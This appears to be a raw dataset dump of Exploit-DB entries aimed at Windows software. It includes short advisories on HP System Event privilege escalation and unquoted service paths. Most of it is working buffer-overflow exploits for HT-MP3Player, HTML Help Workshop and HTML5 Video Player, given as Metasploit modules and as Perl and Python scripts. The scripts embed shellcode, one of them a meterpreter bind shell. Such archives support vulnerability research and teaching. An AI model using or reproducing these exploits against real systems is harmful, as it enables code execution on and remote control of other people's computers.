deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48075
Description: HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-17
Author: Roberto Piña

Exploit:
# Exploit Title: HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-02-14
# Vendor Homepage:https://www8.hp.com/mx/es/home.html
# Software Link:ftp://ftp.hp.com/pub/softpaq/sp70001-70500/sp70439.exe
# HP Development Company, L.P.
# Tested Version: 1.2.9.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "HP" | findstr /i /v """
HPWMISVC                                                  HPWMISVC                                  C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe                                                                                                                                                                                                                  Auto

C:\>sc qc HPWMISVC
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HPWMISVC
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HPWMISVC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>
# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system 
# root path undetected by the OS or other security applications where it could potentially be 
# executed during application startup or reboot. If successful, the local user's code would 
# execute with the elevated privileges of the application.
Exploit-DB #48057
Description: HP System Event Utility - Local Privilege Escalation
Type: local
Platform: windows
Date: 2020-02-12
Author: hyp3rlinx

Exploit:
# Exploit Title: HP System Event Utility - Local Privilege Escalation
# Author: hyp3rlinx
# Date: 2020-02-11
# Vendor: www.hp.com
# Link: https://hp-system-event-utility.en.lo4d.com/download
# CVE: CVE-2019-18915



[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/HP-SYSTEM-EVENT-UTILITY-LOCAL-PRIVILEGE-ESCALATION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.hp.com


[Product]
HP System Event Utility


The genuine HPMSGSVC.exe file is a software component of HP System Event Utility by HP Inc.
HP System Event Utility enables the functioning of special function keys on select HP devices.


[Vulnerability Type]
Local Privilege Escalation



[CVE Reference]
CVE-2019-18915



[Security Issue]
The HP System Event service "HPMSGSVC.exe" will load an arbitrary EXE and execute it with SYSTEM integrity.
HPMSGSVC.exe runs a background process that delivers push notifications.

The problem is that HP Message Service will load and execute any arbitrary executable named "Program.exe"
if found in the users c:\ drive.

Path: C:\Program Files (x86)\HP\HP System Event\SmrtAdptr.exe

Two Handles are inherit, properties are Write/Read
Name: \Device\ConDrv

This results in arbitrary code execution persistence mechanism if an attacker can place an EXE in this location
and can be used to escalate privileges from Admin to SYSTEM.

HP has/is released/releasing a mitigation: https://support.hp.com/us-en/document/c06559359


[References]
PSR-2019-0204
https://support.hp.com/us-en/document/c06559359



[Network Access]
Local


[Disclosure Timeline]
Vendor Notification:  October 7, 2019
HP PSRT "product team will address the issue in next release" : January 13, 2020
HP advisory and mitigation release : February 10, 2020
February 11, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #49010
Description: HP WMI Service 1.4.8.0 - 'HPWMISVC.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Jocelyn Arenas

Exploit:
#Exploit Title: HP WMI Service 1.4.8.0 - 'HPWMISVC.exe' Unquoted Service Path
#Discovery by: Jocelyn Arenas
#Discovery Date: 2020-11-07
#Vendor Homepage: https://www8.hp.com/mx/es/home.html
#Tested Version: 1.4.8.0 
#Vulnerability Type: Unquoted Service Path
#Tested on OS: Windows 10 Home x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\windows\\" | findstr /i /v """


HPWMISVC               HPWMISVC            c:\Program Files (x86)\HP\HP System Event\HPWMISVC.exe               Auto


#Service info:

C:\>sc qc HPWMISVC
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME       : HPWMISVC
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\Program Files (x86)\HP\HP System Event\HPWMISVC.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HPWMISVC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem




#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security 
applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with 
the elevated privileges of the application.
Exploit-DB #16646
Description: HT-MP3Player 1.0 - '.HT3' File Parsing Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ht_mp3player_ht3_bof.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HT-MP3Player 1.0.
					Arbitrary code execution could occur when parsing a specially crafted
					.HT3 file.

					NOTE: The player installation does not register the file type to be
					handled. Therefore, a user must take extra steps to load this file.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hack4love <hack4love[at]hotmail.com>',
					'His0k4',
					'jduck',
				],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2009-2485' ],
					[ 'OSVDB', '55449' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9034' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9038' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 4108,
					'DisableNops'   	=>  'True',
					# input restriction: UTF-8!
					'BadChars' 			=> [0,0x0a,0x0d,*(0x80..0xcf)].pack("C*"),
					'EncoderType' 		=> Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -8500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'HT-MP3Player 1.0',
						{
							'Ret' => 0x00406cff, # pop/pop/ret @ HTMP3Player.exe
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 29 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.ht3']),
			], self.class)
	end

	def exploit

		# payload first
		bof = payload.encoded

		# filler
		bof << rand_text_alphanumeric(payload_space - bof.length)

		# NOTE: the nul smashes a nul, oh no!
		sehrec = generate_seh_record(target.ret)
		# jmp -4108 (depends on target addr ending with 0xff)
		sehrec[0,4] = "\xe9\xef\xef\xff"
		bof << sehrec

		# crash reading from offset 4096 (put bad addr here)
		bof[4096,4] = [0xf0f0f0f0].pack('V')

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(bof)

	end

end
Exploit-DB #9034
Description: HT-MP3Player 1.0 - '.ht3' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-06-29
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# HT-MP3Player 1.0 (.ht3 File) Local buffer Overflow (seh)
# # Greetz to all my friends
# form egypt
## easy :d
## Tested on: Windows XP Pro SP2 (EN)
##########################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xbe\x2e\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
############################################################
open(myfile,'>>hack4love.ht3');
print myfile $bof.$nsh.$seh.$nop.$sec;
############################################################

# milw0rm.com [2009-06-29]
Exploit-DB #9038
Description: HT-MP3Player 1.0 - '.ht3' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-06-29
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " HT-MP3Player 1.0 (.ht3) Universal Buffer Overflow (SEH)\n"
print " Original author: hack4love<=(my friend)\n"
print " Universal exploit : His0k4\n"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: All friends (DZ),sec-r1z.com\n"
print "**************************************************************************"
   
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47"
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x48"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x58\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
"\x42\x35\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x56\x43\x46\x42\x50\x5a")

payload =  "D_Z"   
payload += shellcode
payload += "\x41"*(4100-len(shellcode))
payload += "\xE9\xF7\xEF\xFF\xFF"
payload += "\x74\xF9\x42\x42"
payload += "\x8C\x27\x40\x00" #p/p/r HTMP3Player.exe

try:
    out_file = open("exploit.ht3",'w')
    out_file.write(payload)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-06-29]
Exploit-DB #10335
Description: HTML Help Workshop 4.74 - '.hhp' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-07
Author: loneferret

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a stack overflow in HTML Help Workshop 4.74
					By creating a specially crafted hhp file, an an attacker may be able
					to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'loneferret, original by Encrypt3d.M!nd' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10321' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'StackAdjustment' => -4800,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI  \x93\x1f\x40\x00
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 05 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  'Devil.hhp']),
				], self.class)

	end

	def exploit

		sploit = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53\x5D\x0D\x0A\x43\x6F\x6E\x74\x65"
		sploit << "\x6E\x74\x73\x20\x66\x69\x6C\x65\x3D\x41\x0D\x0A\x49\x6E\x64\x65\x78\x20\x66\x69\x6C\x65\x3D"
		sploit << "\x41" * 224
		sploit << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
		sploit << "\x42" * 24
		sploit << [target.ret].pack('V')
		sploit << "\x0d\x0a\x0d\x0a"
		sploit << "\x5B\x46\x49\x4C\x45\x53\x5D\x0D"
		sploit << "\x0d\x0a"
		sploit << "\x41" * 16
		sploit << "\x69\x72\x61\x71\x69\x72\x61\x71"
		sploit << payload.encoded
		sploit << "\x41" * 4000
 
		hhp = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(hhp)
	end

end
Exploit-DB #45921
Description: HTML5 Video Player 1.2.5 - Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2018-11-30
Author: d3ckx1

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when
          with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK".
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [ 
          'T3jv1l',                       # Original discovery
          'Kağan Çapar',                  # Original discovery
          'd3ckx1 d3ck(at)qq.com',       # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '' ],
          [ 'EBD', '45888' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d\x1a",
          'DisableNops' => true,
          'Space'       => 4000
        },
      'Targets'   =>
        [
          [ 'HTML Video Player 1.2.5',
            {
              'Ret'     =>  0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3
              'Offset'  =>  1984
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Nov 22 2018',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)

  end

  def exploit
    buf = "\x41"*(target['Offset'])
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret] .pack('V')  # seh
    buf << make_nops(30)
    buf << payload.encoded
    buf << "\x90" * 300

    file_create(buf)
    handler
    
  end
end
Exploit-DB #46279
Description: HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)
Type: local
Platform: windows
Date: 2019-01-29
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH
# Date: 27/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 1.2.5
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH exploit for Windows XP SP3 by Kagan Capar available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!
# Extra Info:
#Exact match 996 = For free registration (Fill buffer with ABCD's to get free full registration)
#Exact match 997 = For buffer overflow
#JMP ESP 0x7cb32d69  shell32.dll

#msfvenom -p windows/meterpreter/bind_tcp LPORT=443 -e x86/shikata_ga_nai -b "\x00\xd5\x0a\x0d\x1a" -f c
#(binds meterpreter to port 443)

shellcode = ("\xdb\xc9\xbf\xab\x95\xb6\x9c\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x4e\x83\xe8\xfc\x31\x78\x14\x03\x78\xbf\x77\x43\x60\x57\xf5"
"\xac\x99\xa7\x9a\x25\x7c\x96\x9a\x52\xf4\x88\x2a\x10\x58\x24"
"\xc0\x74\x49\xbf\xa4\x50\x7e\x08\x02\x87\xb1\x89\x3f\xfb\xd0"
"\x09\x42\x28\x33\x30\x8d\x3d\x32\x75\xf0\xcc\x66\x2e\x7e\x62"
"\x97\x5b\xca\xbf\x1c\x17\xda\xc7\xc1\xef\xdd\xe6\x57\x64\x84"
"\x28\x59\xa9\xbc\x60\x41\xae\xf9\x3b\xfa\x04\x75\xba\x2a\x55"
"\x76\x11\x13\x5a\x85\x6b\x53\x5c\x76\x1e\xad\x9f\x0b\x19\x6a"
"\xe2\xd7\xac\x69\x44\x93\x17\x56\x75\x70\xc1\x1d\x79\x3d\x85"
"\x7a\x9d\xc0\x4a\xf1\x99\x49\x6d\xd6\x28\x09\x4a\xf2\x71\xc9"
"\xf3\xa3\xdf\xbc\x0c\xb3\x80\x61\xa9\xbf\x2c\x75\xc0\x9d\x38"
"\xba\xe9\x1d\xb8\xd4\x7a\x6d\x8a\x7b\xd1\xf9\xa6\xf4\xff\xfe"
"\xc9\x2e\x47\x90\x34\xd1\xb8\xb8\xf2\x85\xe8\xd2\xd3\xa5\x62"
"\x23\xdc\x73\x1e\x28\x7b\x2c\x3d\xd3\x11\xcd\xab\x2e\x8d\x27"
"\x24\xf0\xad\x47\xee\x99\x45\xba\x11\xa7\x2e\x33\xf7\xcd\x40"
"\x12\xaf\x79\xa2\x41\x78\x1d\xdd\xa3\x02\x21\x54\x14\x5a\xca"
"\x21\x4d\x5c\xf5\xb2\x5b\xca\x61\x38\x88\xce\x90\x3f\x85\x66"
"\xc4\xd7\x53\xe7\xa7\x46\x63\x22\x5d\x88\xf1\xc9\xf4\xdf\x6d"
"\xd0\x21\x17\x32\x2b\x04\x24\x35\xd3\xd9\x07\x4d\xe2\x4f\x17"
"\x39\x0b\x80\x97\xb9\x5d\xca\x97\xd1\x39\xae\xc4\xc4\x45\x7b"
"\x79\x55\xd0\x84\x2b\x09\x73\xed\xd1\x74\xb3\xb2\x2a\x53\xc7"
"\xb5\xd4\x22\xcf\x44\x17\xf3\x09\x33\x7e\xc7\x2d\x4c\x35\x6a"
"\x07\xc7\x35\x38\x57\xc2")
buffer = "A" * 996 + "\x69\x2d\xb3\x7c" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"